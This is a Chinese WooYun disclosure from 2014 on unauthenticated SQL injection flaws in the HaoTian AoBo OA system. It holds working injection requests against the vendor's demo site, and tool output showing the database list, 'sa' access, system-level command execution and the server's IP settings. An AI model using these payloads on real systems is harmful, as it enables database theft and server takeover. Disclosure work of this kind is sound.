当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-062019

漏洞标题：某OA系统多处系统权限SQL注入可拿shell（无需登录、demo演示）

相关厂商：北京浩天奥博科技有限公司

漏洞作者： xfkxfk

提交时间：2014-05-23 17:15

修复时间：2014-08-21 17:16

公开时间：2014-08-21 17:16

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-23： 细节已通知厂商并且等待厂商处理中
2014-05-28： 厂商已经确认，细节仅向厂商公开
2014-05-31： 细节向第三方安全合作伙伴开放
2014-07-22： 细节向核心白帽子及相关领域专家公开
2014-08-01： 细节向普通白帽子公开
2014-08-11： 细节向实习白帽子公开
2014-08-21： 细节向公众公开

简要描述：

某OA系统多处SQL注入漏洞（无需登录）

详细说明：

北京浩天奥博科技有限公司
浩天奥博OA办公自动化系统存在多处SQL注入
官方成功案例：
http://www.haotianaobo.com/cases.aspx
官方demo地址：
http://oademo.haotianaobo.com/
这个系统注入太多了，找了一些无需登录的注入，还有很多很多。。。

漏洞证明：

第一处SQL注入

http://oademo.haotianaobo.com/Login.aspx
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE1MjI1NTcyMzJkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjGwrba8qDORNhnVIrrjKrA%2BgCGRgw%3D%3D&__EVENTVALIDATION=%2FwEWBQLJy8PPBALF1bSzCQLm8eKkDwLSwpnTCAKM54rGBu0pJ1OcfedKh8kFi8QYHYjrMbaG&TxtUserName=admin%27&TxtUserPwd=111111&AuthCode1%24codeText=&ImageButton1.x=41&ImageButton1.y=11


参数用户名TxtUserName存在注入

1.png


第二处SQL注入

http://oademo.haotianaobo.com/SystemManage/BuMenInfo.aspx?Type=&DirID=15%27


参数DirID存在SQL注入

2.png


第三处SQL注入

http://oademo.haotianaobo.com/SystemManage/SystemUser.aspx
__VIEWSTATE=%2FwEPDwUKMTM4ODMzODUxMQ9kFgICAQ9kFgwCBg8PFgIeB1Zpc2libGVoZGQCCA8PFgIfAGhkZAIKDw8WAh8AaGRkAg4PPCsADQEADxYEHgtfIURhdGFCb3VuZGceC18hSXRlbUNvdW50AgpkFgJmD2QWFgIBDw9kFgQeC29ubW91c2VvdmVyBUFjPXRoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yO3RoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yPScjRTRGNEZGJx4Kb25tb3VzZW91dAUddGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9YzsWDmYPZBYCAgEPDxYCHgRUZXh0BQIzN2RkAgEPZBYCAgEPDxYCHgtOYXZpZ2F0ZVVybAUZU3lzdGVtVXNlclZpZXcuYXNweD9JRD0zN2QWAmYPFQEDd2VpZAICDw8WAh8FBQN3ZWlkZAIDDw8WAh8FBQYmbmJzcDtkZAIEDw8WAh8FBSfotKLliqHpg6gs5oqA5pyv6YOoLOW8gOWPkemDqCzlrqLmnI3pg6hkZAIFDw8WAh8FBQ%2FotoXnuqfnrqHnkIblkZhkZAIGDw8WAh8FBQPmmK9kZAICDw9kFgQfAwVBYz10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcjt0aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj0nI0U0RjRGRicfBAUddGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9YzsWDmYPZBYCAgEPDxYCHwUFAjM2ZGQCAQ9kFgICAQ8PFgIfBgUZU3lzdGVtVXNlclZpZXcuYXNweD9JRD0zNmQWAmYPFQEEemhhb2QCAg8PFgIfBQUEemhhb2RkAgMPDxYCHwUFBiZuYnNwO2RkAgQPDxYCHwUFJ%2Bi0ouWKoemDqCzmioDmnK%2Fpg6gs5byA5Y%2BR6YOoLOWuouacjemDqGRkAgUPDxYCHwUFD%2Bi2hee6p%2BeuoeeQhuWRmGRkAgYPDxYCHwUFA%2BaYr2RkAgMPD2QWBB8DBUFjPXRoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yO3RoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yPScjRTRGNEZGJx8EBR10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj1jOxYOZg9kFgICAQ8PFgIfBQUCMzVkZAIBD2QWAgIBDw8WAh8GBRlTeXN0ZW1Vc2VyVmlldy5hc3B4P0lEPTM1ZBYCZg8VAQh6aGFvemhhb2QCAg8PFgIfBQUIemhhb3poYW9kZAIDDw8WAh8FBQQwMDIxZGQCBA8PFgIfBQUn6LSi5Yqh6YOoLOaKgOacr%2BmDqCzlvIDlj5Hpg6gs5a6i5pyN6YOoZGQCBQ8PFgIfBQUP6LaF57qn566h55CG5ZGYZGQCBg8PFgIfBQUD5pivZGQCBA8PZBYEHwMFQWM9dGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I7dGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9JyNFNEY0RkYnHwQFHXRoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yPWM7Fg5mD2QWAgIBDw8WAh8FBQIzNGRkAgEPZBYCAgEPDxYCHwYFGVN5c3RlbVVzZXJWaWV3LmFzcHg%2FSUQ9MzRkFgJmDxUBAmR1ZAICDw8WAh8FBQJkdWRkAgMPDxYCHwUFAzAwMWRkAgQPDxYCHwUFCeaKgOacr%2BmDqGRkAgUPDxYCHwUFD%2Bi2hee6p%2BeuoeeQhuWRmGRkAgYPDxYCHwUFA%2BaYr2RkAgUPD2QWBB8DBUFjPXRoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yO3RoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yPScjRTRGNEZGJx8EBR10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj1jOxYOZg9kFgICAQ8PFgIfBQUCMzNkZAIBD2QWAgIBDw8WAh8GBRlTeXN0ZW1Vc2VyVmlldy5hc3B4P0lEPTMzZBYCZg8VAQV4dXdlaWQCAg8PFgIfBQUFeHV3ZWlkZAIDDw8WAh8FBQhhZG1pbjAwMWRkAgQPDxYCHwUFCeiRo%2BS6i%2BmDqGRkAgUPDxYCHwUFD%2Bi2hee6p%2BeuoeeQhuWRmGRkAgYPDxYCHwUFA%2BaYr2RkAgYPD2QWBB8DBUFjPXRoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yO3RoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yPScjRTRGNEZGJx8EBR10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj1jOxYOZg9kFgICAQ8PFgIfBQUCMzJkZAIBD2QWAgIBDw8WAh8GBRlTeXN0ZW1Vc2VyVmlldy5hc3B4P0lEPTMyZBYCZg8VAQVhZG1pbmQCAg8PFgIfBQUFYWRtaW5kZAIDDw8WAh8FBQVLRjAwOGRkAgQPDxYCHwUFCeW8gOWPkemDqGRkAgUPDxYCHwUFEU9B57u85ZCI54mI6KeS6ImyZGQCBg8PFgIfBQUD5pivZGQCBw8PZBYEHwMFQWM9dGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I7dGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9JyNFNEY0RkYnHwQFHXRoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yPWM7Fg5mD2QWAgIBDw8WAh8FBQIzMGRkAgEPZBYCAgEPDxYCHwYFGVN5c3RlbVVzZXJWaWV3LmFzcHg%2FSUQ9MzBkFgJmDxUBD%2BWfuuehgOeJiOeUqOaIt2QCAg8PFgIfBQUHamNhZG1pbmRkAgMPDxYCHwUFBWpjMDAxZGQCBA8PFgIfBQUJ5oqA5pyv6YOoZGQCBQ8PFgIfBQURT0Hln7rnoYDniYjop5LoibJkZAIGDw8WAh8FBQPmmK9kZAIIDw9kFgQfAwVBYz10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcjt0aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj0nI0U0RjRGRicfBAUddGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9YzsWDmYPZBYCAgEPDxYCHwUFAjI2ZGQCAQ9kFgICAQ8PFgIfBgUZU3lzdGVtVXNlclZpZXcuYXNweD9JRD0yNmQWAmYPFQECeHdkAgIPDxYCHwUFAnh3ZGQCAw8PFgIfBQUIYWRtaW4wMDFkZAIEDw8WAh8FBQnokaPkuovpg6hkZAIFDw8WAh8FBQ%2FotoXnuqfnrqHnkIblkZhkZAIGDw8WAh8FBQPmmK9kZAIJDw9kFgQfAwVBYz10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcjt0aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj0nI0U0RjRGRicfBAUddGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9YzsWDmYPZBYCAgEPDxYCHwUFAjI1ZGQCAQ9kFgICAQ8PFgIfBgUZU3lzdGVtVXNlclZpZXcuYXNweD9JRD0yNWQWAmYPFQEJ5Lya6K6h5LiAZAICDw8WAh8FBQdramFkbWluZGQCAw8PFgIfBQUFS0owMDFkZAIEDw8WAh8FBQnotKLliqHnp5FkZAIFDw8WAh8FBQzkuIDoiKzlkZjlt6VkZAIGDw8WAh8FBQPmmK9kZAIKDw9kFgQfAwVBYz10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcjt0aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj0nI0U0RjRGRicfBAUddGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9YzsWDmYPZBYCAgEPDxYCHwUFATFkZAIBD2QWAgIBDw8WAh8GBRhTeXN0ZW1Vc2VyVmlldy5hc3B4P0lEPTFkFgJmDxUBD%2BS4k%2BS4mueJiOeUqOaIt2QCAg8PFgIfBQUHenlhZG1pbmRkAgMPDxYCHwUFBUtGMDAxZGQCBA8PFgIfBQUJ5byA5Y%2BR6YOoZGQCBQ8PFgIfBQURT0HkuJPkuJrniYjop5LoibJkZAIGDw8WAh8FBQPmmK9kZAILDw8WAh8AaGRkAhgPDxYCHwUFATFkZAIaDw8WAh8FBQExZGQYAgUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFhEFDEltYWdlQnV0dG9uNAUMSW1hZ2VCdXR0b24yBRhHVkRhdGEkY3RsMDIkQ2hlY2tTZWxlY3QFGEdWRGF0YSRjdGwwMyRDaGVja1NlbGVjdAUYR1ZEYXRhJGN0bDA0JENoZWNrU2VsZWN0BRhHVkRhdGEkY3RsMDUkQ2hlY2tTZWxlY3QFGEdWRGF0YSRjdGwwNiRDaGVja1NlbGVjdAUYR1ZEYXRhJGN0bDA3JENoZWNrU2VsZWN0BRhHVkRhdGEkY3RsMDgkQ2hlY2tTZWxlY3QFGEdWRGF0YSRjdGwwOSRDaGVja1NlbGVjdAUYR1ZEYXRhJGN0bDEwJENoZWNrU2VsZWN0BRhHVkRhdGEkY3RsMTEkQ2hlY2tTZWxlY3QFCEJ0bkZpcnN0BQZCdG5QcmUFB0J0bk5leHQFB0J0bkxhc3QFCEJ1dHRvbkdvBQZHVkRhdGEPPCsACgEIAgFkw0RmsSgvw%2BQl%2FFmrPn1%2BPHBAXI8%3D&__EVENTVALIDATION=%2FwEWFgKyw6r9CwLs0fbZDALs0bLrBgLSwv2aBALSwtXkAgKjzK72CAKjzNLWAgKI47jlDwKI45y7DgLt%2BYKkDQLt%2BabSBQLSkM2TDgLPo42tDQLD%2FYvjBwLD%2Fc%2FqCwLu%2F93hDwLWmtnlAwKV6fOOCgKR6bePCQK67b6uAgKkstWWBQL6jqL3CSDUd5b8djCFJ283fXql2uHymsb%2F&TextBox2=111111%27 and (select @@version)>0 --&TextBox1=&ImageButton4.x=0&ImageButton4.y=0&TxtPageSize=15&GoPage=1


参数TextBox2存在注入

3.png


[*] APSH
[*] CRM
[*] CStarPMDB
[*] DXH_Base
[*] DXH_Log
[*] DXH_Web
[*] ElecExamSys
[*] ERP
[*] GiftStoreWebDB
[*] HTAB_DB
[*] IA_DB
[*] IDDS
[*] JJTZWeb_DB
[*] LAWF
[*] LppSysWebDB
[*] master
[*] model
[*] msdb
[*] myerp
[*] NewSelectionDB
[*] NewsSelectionDB
[*] PHRM
[*] pinewood_DB
[*] PMS_DB
[*] Practise
[*] ReportServer
[*] ReportServerTempDB
[*] sportinfo_db
[*] StreetBJQinYuan
[*] tempdb
[*] WDWK
[*] ZHJRCloud


sa权限

web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[16:52:14] [INFO] fetching current user
current user:    'sa'


可直接拿shell

command standard output [1]:
[*] nt authority\system
command standard output:
---
\\ ?????
-------------------------------------------------------------------------------
Administrator            ASPNET                   Guest
IUSR_NET-480344C3433     IWAM_NET-480344C3433     SQLDebugger
---
command standard output:
---
Windows IP Configuration
Windows IP Configuration
Ethernet adapter ????:
Ethernet adapter ????:
 \?a0\?a0Media State . . . . . . . . . . . : Media disconnected
   Media State . . . . . . . . . . . : Media disconnected
Ethernet adapter ???? 2:
Ethernet adapter ???? 2:
 \?a0\?a0Connection-specific DNS Suffix \?a0\?2e :
   Connection-specific DNS Suffix  . :
 \?a0\?a0IP Address. . . . . . . . . . . . : 122.115.59.91
   IP Address. . . . . . . . . . . . : 122.115.59.91
 \?a0\?a0Subnet Mask . . . . . . . . . . . : 255.255.255.192
   Subnet Mask . . . . . . . . . . . : 255.255.255.192
 \?a0\?a0Default Gateway . . . . . . . . . : 122.115.59.65
   Default Gateway . . . . . . . . . : 122.115.59.65
---

修复方案：

过滤，控制权限

版权声明：转载请注明来源 xfkxfk@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2014-05-28 11:34

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-05-24 15:04 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    想都不用想，注入发生在登录框，然后关键字怎么找？